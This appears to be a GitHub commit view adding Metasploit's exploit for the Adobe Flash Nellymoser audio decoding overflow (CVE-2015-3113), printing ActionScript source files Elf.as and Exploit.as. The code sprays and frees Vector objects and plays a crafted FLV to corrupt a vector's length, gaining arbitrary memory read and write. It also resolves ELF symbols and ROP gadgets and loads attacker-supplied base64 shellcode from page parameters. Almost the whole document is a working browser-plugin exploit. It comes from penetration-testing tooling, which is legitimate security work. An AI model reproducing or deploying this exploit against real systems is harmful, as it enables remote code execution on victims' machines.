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Land rapid7#5642, Adobe Flash CVE-2015-3113 Nellymoser Audio Decoding BOF
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‎data/exploits/CVE-2015-3113/msf.swf

20.5 KB
Binary file not shown.

‎external/source/exploits/CVE-2015-3113/Elf.as

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package
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{
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public class Elf
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{
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private const PT_DYNAMIC:uint = 2
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private const PT_LOAD:uint = 1
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private const PT_READ_EXEC:uint = 5
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private const DT_SYMTAB:uint = 6
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private const DT_STRTAB:uint = 5
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private const DT_PLTGOT:uint = 3
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private var e_ba:ExploitByteArray
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// elf base address
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public var base:uint = 0
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// program header address
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public var ph:uint = 0
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// number of program headers
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public var ph_size:uint = 0
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// program header entry size
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public var ph_esize:uint = 0
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// DYNAMIC segment address
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public var seg_dynamic:uint = 0
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// DYNAMIC segment size
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public var seg_dynamic_size:uint = 0
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// CODE segment address
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public var seg_exec:uint = 0
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// CODE segment size
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public var seg_exec_size:uint = 0
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// .dynsyn section address
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public var sec_dynsym:uint = 0
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// .synstr section address
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public var sec_dynstr:uint = 0
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// .got.plt section address
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public var sec_got_plt:uint = 0
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public function Elf(ba:ExploitByteArray, addr:uint)
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{
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e_ba = ba
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set_base(addr)
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set_program_header()
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set_program_header_size()
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set_program_header_entry_size()
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set_dynamic_segment()
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set_exec_segment()
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set_dynsym()
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set_dynstr()
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set_got_plt()
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}
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public function external_symbol(name:String):uint {
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var entry:uint = 0
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var st_name:uint = 0
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var st_value:uint = 0
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var st_size:uint = 0
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var st_info:uint = 0
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var st_other:uint = 0
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var st_shndx:uint = 0
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var st_string:String = ""
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var got_plt_index:uint = 0
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for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
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entry = sec_dynsym + 0x10 + (i * 0x10)
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st_name = e_ba.read(entry)
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st_value = e_ba.read(entry + 4)
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st_info = e_ba.read(entry + 0xc, "byte")
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st_string = e_ba.read_string(sec_dynstr + st_name)
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if (st_string == name) {
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return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
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}
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if (st_info != 0x11) {
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got_plt_index++
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}
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}
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throw new Error()
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}
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public function symbol(name:String):uint {
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var entry:uint = 0
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var st_name:uint = 0
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var st_value:uint = 0
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var st_size:uint = 0
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var st_info:uint = 0
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var st_other:uint = 0
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var st_shndx:uint = 0
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var st_string:String = ""
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for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
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entry = sec_dynsym + 0x10 + (i * 0x10)
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st_name = e_ba.read(entry)
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st_value = e_ba.read(entry + 4)
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st_info = e_ba.read(entry + 0xc, "byte")
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st_string = e_ba.read_string(sec_dynstr + st_name)
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if (st_string == name) {
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return base + st_value
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}
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}
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throw new Error()
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}
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public function gadget(gadget:String, hint:uint):uint
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{
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var value:uint = parseInt(gadget, 16)
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var contents:uint = 0
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for (var i:uint = 0; i < seg_exec_size - 4; i++) {
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contents = e_ba.read(seg_exec + i)
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if (hint == 0xffffffff && value == contents) {
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return seg_exec + i
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}
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if (hint != 0xffffffff && value == (contents & hint)) {
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return seg_exec + i
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}
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}
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throw new Error()
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}
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private function set_base(addr:uint):void
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{
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addr &= 0xffff0000
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while (true) {
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if (e_ba.read(addr) == 0x464c457f) {
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base = addr
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return
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}
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addr -= 0x1000
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}
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throw new Error()
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}
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private function set_program_header():void
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{
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ph = base + e_ba.read(base + 0x1c)
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}
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private function set_program_header_size():void
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{
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ph_size = e_ba.read(base + 0x2c, "word")
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}
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private function set_program_header_entry_size():void
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{
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ph_esize = e_ba.read(base + 0x2a, "word")
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}
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private function set_dynamic_segment():void
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{
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var entry:uint = 0
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var p_type:uint = 0
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for (var i:uint = 0; i < ph_size; i++) {
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entry = ph + (i * ph_esize)
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p_type = e_ba.read(entry)
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if (p_type == PT_DYNAMIC) {
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seg_dynamic = base + e_ba.read(entry + 8)
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seg_dynamic_size = e_ba.read(entry + 0x14)
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return
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}
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}
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throw new Error()
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}
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private function set_exec_segment():void
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{
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var entry:uint = 0
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var p_type:uint = 0
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var p_flags:uint = 0
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for (var i:uint = 0; i < ph_size; i++) {
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entry = ph + (i * ph_esize)
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p_type = e_ba.read(entry)
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p_flags = e_ba.read(entry + 0x18)
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if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
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seg_exec = base + e_ba.read(entry + 8)
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seg_exec_size = e_ba.read(entry + 0x14)
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return
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}
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}
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throw new Error()
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}
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private function set_dynsym():void
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{
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var entry:uint = 0
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var s_type:uint = 0
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for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
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entry = seg_dynamic + i
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s_type = e_ba.read(entry)
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if (s_type == DT_SYMTAB) {
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sec_dynsym = e_ba.read(entry + 4)
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return
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}
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}
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throw new Error()
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}
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private function set_dynstr():void
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{
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var entry:uint = 0
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var s_type:uint = 0
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for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
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entry = seg_dynamic + i
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s_type = e_ba.read(entry)
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if (s_type == DT_STRTAB) {
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sec_dynstr = e_ba.read(entry + 4)
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return
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}
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}
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throw new Error()
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}
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private function set_got_plt():void
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{
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var entry:uint = 0
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var s_type:uint = 0
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for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
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entry = seg_dynamic + i
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s_type = e_ba.read(entry)
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if (s_type == DT_PLTGOT) {
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sec_got_plt = e_ba.read(entry + 4)
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return
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}
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}
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throw new Error()
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}
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}
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}

‎external/source/exploits/CVE-2015-3113/Exploit.as

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package
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{
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import flash.display.Sprite
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import flash.events.Event
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import flash.events.NetStatusEvent
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import flash.events.AsyncErrorEvent
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import flash.media.Video
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import flash.net.NetConnection
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import flash.net.NetStream
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import flash.utils.getTimer
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import flash.utils.ByteArray
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import mx.utils.Base64Decoder
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import flash.display.LoaderInfo
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public class Exploit extends Sprite
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{
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private var b64:Base64Decoder = new Base64Decoder()
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private var payload:ByteArray
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private var platform:String
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private var os:String
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private var exploiter:Exploiter
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public var bytes:Class;
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public var video:Video = new Video(640, 480);
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public var vecVectors:Vector.<Object>;
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public function Exploit():void {
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platform = LoaderInfo(this.root.loaderInfo).parameters.pl
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os = LoaderInfo(this.root.loaderInfo).parameters.os
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var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
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var pattern:RegExp = / /g;
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b64_payload = b64_payload.replace(pattern, "+")
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b64.decode(b64_payload)
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payload = b64.toByteArray()
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addChild(video)
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var nc:NetConnection = new NetConnection()
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nc.addEventListener(NetStatusEvent.NET_STATUS , onConnect)
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nc.addEventListener(AsyncErrorEvent.ASYNC_ERROR , trace)
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var metaSniffer:Object=new Object()
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metaSniffer.onMetaData=getMeta
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nc.connect(null)
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var ns:NetStream = new NetStream(nc)
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ns.client = metaSniffer
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video.attachNetStream(ns)
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vecVectors = new Vector.<Object>(0x1000)
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for ( var i:uint = 0; i < vecVectors.length; ++ i ) {
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vecVectors[i] = new Vector.<uint>((0x2000 - 8) / 4);
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vecVectors[i][0] = 0xdeedbeef;
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}
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for ( i = 0; i < vecVectors.length; i += 2 ) {
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vecVectors[i] = null;
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}
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ns.addEventListener(NetStatusEvent.NET_STATUS, statusChanged)
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ns.play("poc2.flv")
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}
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private function go():void {
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var bigVector:Vector.<uint> = null;
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for ( var i:uint = 0; i < vecVectors.length; i++ ) {
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if (vecVectors[i] == null) continue
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if ( vecVectors[i].length > (0x2000 - 8) / 4 ) {
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bigVector = vecVectors[i] as Vector.<uint>
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}
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}
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if ( null == bigVector ) {
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return;
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}
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for ( i = 0; i < 0x2000; i++ ) {
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if (bigVector[i] == 0x7fe && bigVector[i + 2] == 0xdeedbeef) {
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bigVector[0x3fffffff] = bigVector[i + 1]
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break
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}
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}
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for ( i = 0; i < vecVectors.length; i++ ) {
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if (vecVectors[i] == null) continue
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if (vecVectors[i].length != 0x7fe) {
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delete(vecVectors[i])
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vecVectors[i] = null
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}
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}
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exploiter = new Exploiter(this, platform, os, payload, bigVector, 0x7fe)
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}
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private function statusChanged(stats:NetStatusEvent):void {
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if (stats.info.code == 'NetStream.Play.Stop') {
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WaitTimer(1000)
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go()
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}
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}
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private function getMeta (mdata:Object):void {
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video.width=mdata.width/2
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video.height=mdata.height/2
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}
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private function onConnect(e:NetStatusEvent):void {
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return
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}
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private function WaitTimer(time:int):void{
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var current:int = getTimer()
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while (true) {
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if ((getTimer() - current) >= time) break
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}
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}
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}
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}

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